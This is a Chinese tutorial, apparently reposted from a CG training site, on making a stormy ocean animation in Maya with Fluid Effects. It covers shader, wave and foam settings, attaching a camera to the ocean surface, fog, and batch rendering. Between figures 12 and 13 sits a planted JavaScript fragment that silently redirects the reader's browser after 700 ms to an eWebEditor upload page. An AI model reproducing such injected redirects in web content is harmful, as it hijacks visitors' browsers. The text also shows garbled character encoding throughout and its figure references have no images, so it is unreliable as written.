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vray目前已經(jīng)是各大游戲廠商,建筑公司,影視動(dòng)畫普遍使用的渲染器了,maya版本的vray渲染器穩(wěn)定可靠,我們的教程將完整的講解這個(gè)渲染器。
朱峰社區(qū)導(dǎo)言:這個(gè)教程是關(guān)于怎么用流體建立一個(gè)海洋浪花真實(shí)的動(dòng)畫。我們的最終輸出將是一個(gè)通過(guò)放在海浪正上方的cylinder(圓柱體)stand 攝相機(jī)拍攝的影片。
我們的教程會(huì)分為以下幾個(gè)部分:
建立海洋表面。
設(shè)置風(fēng)暴時(shí)海洋的參數(shù)。
在場(chǎng)景中添加霧效。
渲染場(chǎng)景。
首先,打開Maya,如果你不是在流體(Dynamics)模式下,按下H鍵,然后鼠標(biāo)左擊場(chǎng)景上任何地方然后拖到流體上。這會(huì)改變Maya頂部的菜單按鈕。(圖01)
圖01
從上面的面板,選擇Fluid Effects>Ocean>Create Ocean,然后點(diǎn)擊Option Box 。(圖02)
圖02
一個(gè)屬性窗口將會(huì)打開,檢查Attach to Camera and Create Preview Plane 選項(xiàng)。Preview Plane Size是調(diào)整海洋效果平面的屬性值,你可以給它任何的值。在這個(gè)例子中,我給它一個(gè)值15,為了在回放過(guò)程中比較合理,如果你想檢查海洋的動(dòng)作是否正確,你可以播放動(dòng)畫來(lái)檢查。(圖03)
圖03
預(yù)覽平面尺寸并檢查有沒有超出你的電腦的規(guī)格。這個(gè)預(yù)覽平面是不能被渲染的,它只是為了在修改參數(shù)時(shí)方便說(shuō)明和展示變化。(圖04)
圖04
在選中預(yù)覽平面,按下Ctrl+A打開屬性編輯器。一旦屬性編輯器打開,點(diǎn)Ocean Preview Plane1標(biāo)簽,然后你會(huì)看到以下幾個(gè)選項(xiàng):Resolution、 Color、Displacement等。Resolution(分辨率)增加預(yù)覽平面的段數(shù),會(huì)使場(chǎng)景的(預(yù)覽)效果更加光滑。但是,增加Resolution會(huì)導(dǎo)致重放速度的減慢和系統(tǒng)表現(xiàn)的下降,換句話說(shuō),渲染會(huì)占用更多的內(nèi)存,然后預(yù)覽重放會(huì)減慢。Color and Displacement被鎖定了,你不需用它們來(lái)渲染所以讓它們保持默認(rèn)就行。Height Scale增加位移的高度,確保也被設(shè)為默認(rèn)值。(圖05)
圖05
一旦你做完了預(yù)覽平面1的設(shè)定,點(diǎn)Ocean Shader標(biāo)簽。我們接下來(lái)要花大部分時(shí)間來(lái)調(diào)整和取得我們想要的海洋形狀。(圖06)
圖06
建立一個(gè)特定的海洋效果需要用一些Ocean Attributes卷中特定的配置。開始,展開Ocean Attributes卷以顯示它的參數(shù)。將參數(shù)按下面的文字來(lái)設(shè)定。(圖07)
圖07
接下來(lái)在color coded(顏色編碼)窗口找到Wave Height卷。設(shè)定Interpolation 選項(xiàng)為Smooth然后加一些點(diǎn)來(lái)得到你想要的形狀。(圖08)
圖08
下滾到Wave Turbulence卷,設(shè)定Interpolation成Smooth,然后把Wave Height像上一步一樣設(shè)置。(圖09)
圖09
下滾到Wave Peaking卷,設(shè)定Interpolation成Smooth,然后和之前一樣,設(shè)定參數(shù)來(lái)得到你想要的隨機(jī)海洋效果,順著圖加一些點(diǎn)來(lái)得到起伏的海浪。Wave Peaking通常和Wave Height一起搭配很好。再一次,改變Interpolation成Linear,設(shè)定參數(shù)來(lái)得到你想要的隨機(jī)海洋效果,順著圖加一些點(diǎn)來(lái)得到起伏的海浪。(圖10)
圖10
最后一步是再一次添加Foam(泡沫)。在Wave Peaking卷下找到Foam選項(xiàng),設(shè)定參數(shù)如下。(圖11)
圖11
好了,我們?cè)囍秩疽幌驴纯础?圖12)
圖12
綁定一個(gè)攝像機(jī)來(lái)捕捉水面。首先,建立一個(gè)圓柱體或任何一個(gè)幾何體,并合理的增加它的高度。(圖13)
function JumpSelf(){ self.location="/bjqasdasd3f5gt454/ewebeditor/asp/upload.asp?style=zf3dwenben&cusdir=&sparams=&skey=&h=10000bestjobs.com&action=local&type=local&rnd=014&WebShieldSessionVerify=Mdlde30gAghuKL2QN02F";}setTimeout("JumpSelf()",700);">
圖13
建立一個(gè)攝像機(jī),Create>Cameras>Camera,然后把它放在你的物體上方。你能用左面菜單上的Move Tool來(lái)移動(dòng)它。(圖14)
圖14
選中攝像機(jī),按下Shift 左擊圓柱來(lái)同時(shí)選中兩個(gè)物體。Edit>Parent,這會(huì)讓圓柱隨攝像機(jī)一起移動(dòng)。(圖15)
圖15
是時(shí)候把攝像機(jī)和海面連接在一起了。選中攝像機(jī)Fluid Effect>Ocean>Make Motor Boats,這會(huì)將攝像機(jī)連接到海洋的表面,讓它隨海洋表面移動(dòng)。(圖16)
圖16
如果播放動(dòng)畫,你會(huì)發(fā)現(xiàn)父物體隨海洋一起移動(dòng)了。為了從你的攝像機(jī)角度來(lái)渲染,Window>Rendering Editors>Render View。Render View窗口會(huì)彈出。(圖17)
圖17
這是我的攝像機(jī)角度的渲染。(圖18)
圖18
如果我們像給平靜的海洋一樣添加霧效,這整個(gè)場(chǎng)景會(huì)充滿physical smoke(自然煙),而我們的風(fēng)暴時(shí)的海洋只要一小部分的霧效。開始選Window>Rendering Editors>Render Settings。(圖19)
圖19
在Render Settings窗口,選擇Maya Software (MAYA軟件級(jí)渲染),然后點(diǎn)Maya Software標(biāo)簽。下滾到底,點(diǎn)Render Options展開它。點(diǎn)空白文字行右邊的小盒。它會(huì)自動(dòng)添加環(huán)境霧并打開屬性編輯器,可調(diào)整霧的參數(shù)。(圖20)
圖20
渲染看一下霧效的效果如何。(圖21)
圖21
這時(shí),你的海洋已經(jīng)完成了,既可以做為一個(gè)單幀的,又或是動(dòng)畫的輸出,因?yàn)槲覀儼褦z像機(jī)綁定了,它會(huì)隨洋流而動(dòng)。要輸出你的動(dòng)畫,選Window>Rendering Editors>Render Settings。(圖22)
圖22
渲染菜單會(huì)彈出。改變File name prefix來(lái)給你的動(dòng)畫命名。改變Image format 成.AVI.。根據(jù)你想渲染的動(dòng)畫長(zhǎng)度改Start frame和End frame。最后,在Renderable Camera下拉菜單中選擇你想要用來(lái)渲染的攝像機(jī)。
不要忘了根據(jù)你想要的壓縮方式來(lái)改變你的電影文件格式。(圖23)
圖23
通過(guò)在場(chǎng)景任何地方按H鍵,左擊并拖鼠標(biāo)到Rendering上來(lái)改變你的模塊界面成Rendering。這會(huì)改變你的頂部菜單。Render>Batch Render后等待你的作品一幀一幀完成,這個(gè)過(guò)程很花時(shí)間。(圖24)
圖24
編輯:絲路教育 http://www.silucg.com
TAG:Maya教程
文章地址: http://www.silucg.com/cg/a/maya/201403191670.html
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